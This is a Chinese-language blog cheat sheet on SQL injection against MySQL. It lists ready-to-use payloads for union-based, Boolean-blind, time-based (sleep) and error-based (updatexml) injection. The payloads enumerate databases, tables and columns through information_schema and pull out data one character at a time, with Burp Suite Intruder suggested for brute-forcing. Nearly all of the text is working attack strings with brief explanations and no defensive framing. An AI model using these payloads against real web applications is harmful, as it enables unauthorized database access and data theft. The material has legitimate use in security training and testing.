• sql注入-实用小手册



    前言
    本文没有包含细致的原理讲解,只是简单列举基本概念、注入的大致思路和需要的注入语句,写成这样是为了方便捋顺思路,能更好的看清整个注入过程。

    前置知识


    information_schema数据库的三个表及其中的字段

    • SCHEMATA:存储数据库名
      • SCHEMA_NAME:记录数据库名的字段
    • TABLES:存储数据库名、表名
      • TABLE_SCHEMA:记录表对应的数据库名的字段
      • TABLE_NAME:记录表名的字段
    • COLUMNS:存储数据库名、表名、字段名
      • TABLE_SCHEMA:记录表对应的数据库名的字段
      • TABLE_NAME:记录表名的字段
      • COLUMN_NAME:记录字段名的字段

    几个函数

    • database():当前网站使用的数据库
    • version():当前Mysql的版本
    • user():当前Mysql的用户

    一、union注入


    适用条件
    查询后直接将结果数据直接显示在页面的情况,可以尝试union注入。
    判断是否存在注入
    尝试id=1id=1',查看结果是否相同;
    尝试id=1 and 1=1id=1 and 1=2 ,查看结果是否相同;
    结果不同表示可能存在sql注入。
    判断查询语句的字段数
    order by后跟的数字可以暗示查询语句中查询了几个字段。
    id=1 order by 1
    id=1 order by 2
    id=1 order by 3均可以执行,与id=1结果相同。
    id=1 order by 4id=1结果不同,则表示查询字段有3个。

    为什么要知道查询语句的字段数
    在union查询中,前后两个查询语句查询的字段数必须相同。

    注入语句

    1. 修改id,使id=-1

    • id=1 union select 1,2,3 没有返回select 1,2,3的结果。
      查询语句只返回第一条结果,修改id的值,id=-1,因为不存在该条目,所以会返回union后查询语句的结果。

    2. 查看可输出位置

    • id=-1 union select 1,2,3 查看三个查询参数哪个位置会输出Mysql语句。
      此处2,3可以输出,可任选其一。
    • 后续所有的查询语句都直接替换到可输出位置中,需要添加括号。

    3. 查询数据库

    • id=-1 union select 1,database(),3在可以输出的位置2,使用database()查询。
      当前网站使用的数据库为“DBxxxl”。
    • id=-1 union select SCHEMA_NAME from information_schema.schemata查询information_schema库中所有的数据库名字。

    4. 查询表名

    • 查询语句为:
      select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'
    • 完整的注入语句:
      id=-1 union select 1,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'),3
      数据库中我们选择“Tablexxx”作为目标表。

    5. 查询字段名

    • 查询语句为:
      select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'
    • 完整的注入语句:
      id=-1 union select 1,(select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'),3
      选择“Columnxxx”作为目标字段。

    6. 查询字段对应的数据

    • 查询语句为:
      select Columnxxx from DBxxx.Tablexxx
      即在数据库DBxxx的Tablexxx表中查询Columnxxx字段的值。

    二、Boolean注入


    Boolean注入是构造sql判断语句,根据页面返回结果,来推测哪些判断条件是成立的,以此来获取数据库的数据。

    适用条件
    修改id后的内容,当页面不返回数据而是只返回yes或no时,无法使用union注入,可以尝试Boolean注入。
    获取参数后,代码中通过preg_match过滤了“union/sleep/benchmark”等危险字符,然后才将参数拼接到sql语句进行查询。

    判断是否可以进行Boolean注入
    尝试id=1id=1',查看结果,第一个为yes,第二个为no。
    尝试id=1' and 1=1id=1' and 1=2 ,查看结果,结果认为yes和no。
    尝试修改id的值,返回结果依旧是yes和no,由此可判断页面只返回yes和no,需要进行Boolean注入。

    注入语句

    1. 判断数据库名长度

    • id=1' and length(database())>=3 --+
      "--+"是注释,语句开头有单引号,最后需要注释符号注释掉查询语句末尾的单引号。
      用该语句不断尝试数据库长度,当出现' and length(database())>=4 --+ 为no时,说明数据库名长度为3。

    2. 逐字符判断数据库名

    • id=1' and substr(database(),1,1)='a' --+
      其中'a'是我们猜测的数据库名的字符。
      substr(var,start,step)可以截取var的字符,从start开始,每次返回step个。语句中的含义是截取database()的值,从第一个字符开始,每次只返回一个。
      • limit0,1不同,limit0,1是从第0个开始,substr()是从第1个开始。
      • 可以借助burpsuite的intruder功能对猜测的字符进行爆破。
        字符集一般是“az,09”和特殊字符,这里字母不区分大小写
    • id=1' and ord(substr(database(),1,1))=96 --+
      可以使用ASCII码进行猜测,ASCII转换函数为ord()。

    3. 表名及字段名查询

    • id=1' and length(database())>=3 --+
    • id=1' and substr(database(),1,1)='a' --+
      将以上两个语句作为基础,将查询表名和字段名的查询(与union注入语句相同)替换‘database()'即可。以逐字符推测其他信息举例如下:
      • 查询所有数据库名
        • 查询语句:
          select SCHEMA_NAME from information_schema.schemata
        • 替换后:
          id=1' and substr((select SCHEMA_NAME from information_schema.schemata),1,1)='a' --+
      • 查询表名:
        • 查询语句:
          select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'
        • 替换后:
          id=1' and substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'),1,1)='a' --+
      • 查询字段名
        • 查询语句:
          select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'
        • 替换后:
          id=1' and substr((select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'),1,1)='a' --+

    三、时间注入


    时间注入利用sleep()和benchmark()等函数使sql查询执行时间延长,从而判断条件是否正确,推断数据库信息。

    适用条件
    修改id后的内容,当页面不返回数据而是只返回yes或no时,无法使用union注入,且可以使用sleep()函数使得sql查询执行时间延长,可以尝试时间注入。

    与Boolean注入的区别
    没有过滤"sleep"或“benchmark”字符。

    注入语句

    • if(expr1,expr2,expr3)
      若expr1为真,则返回值为expr2,否则返回expr3。类似C语言中的条件表达式a?b:c.
      -时间注入的其他流程与Boolean类似。

    1. 判断数据库名长度

    • id=1' and if(length(database())>=3,sleep(5),1) --+
      数据库长度大于等于3时,sql查询休眠5秒,否则查询1。可以使用burpsuite查看响应时间,根据查询的时间推断数据。

    2. 逐字符判断数据库名

    • id=1' and if(substr(database(),1,1)='a' ,sleep(5),1) --+
      时间注入思路与Boolean注入一样,只是判断条件改变了。

    四、报错注入


    利用错误回显,使用floor()、updatexml()等函数将所需信息输出到页面上。

    适用条件
    尝试id=1',多一个单引号会引发错误,页面回显错误信息,可以尝试报错注入。

    注入语句

    • id=1' and updatexml(1,concat(0x7e,(可替换的查询语句),0x7e),1) --+
    • 可替换的查询语句处与union注入相同。因为报错注入只显示一条结果,因此查询语句结尾处需要使用limit 0,1做限制。
    • 可替换语句如下:
      • select database()
      • select user()
      • select SCHEMA_NAME from information_schema.schemata limit 0,1
      • select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx' limit 0,1
      • select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx' limit 0,1
  • 相关阅读:
    [Reproduced]BIOS -- Basic Input and Output System
    What is CSM mode?
    java.lang.UnsupportedOperationException: Can't convert to color: type=0x2 In TextInputLayout
    What is “passive data structure” in Android/Java?
    Android Studio 手动配置 Gradle
    ScrollView内嵌ListView,ListView显示不全及滑动冲突的问题
    Android安全开发之Provider组件安全
    Android permission and uses-permission
    PriorityBlockingQueue(带优先级的阻塞队列)
    Lesson: Generics (Updated)
  • 原文地址:https://www.cnblogs.com/zzRandom/p/12661634.html
Copyright © 2020-2023  润新知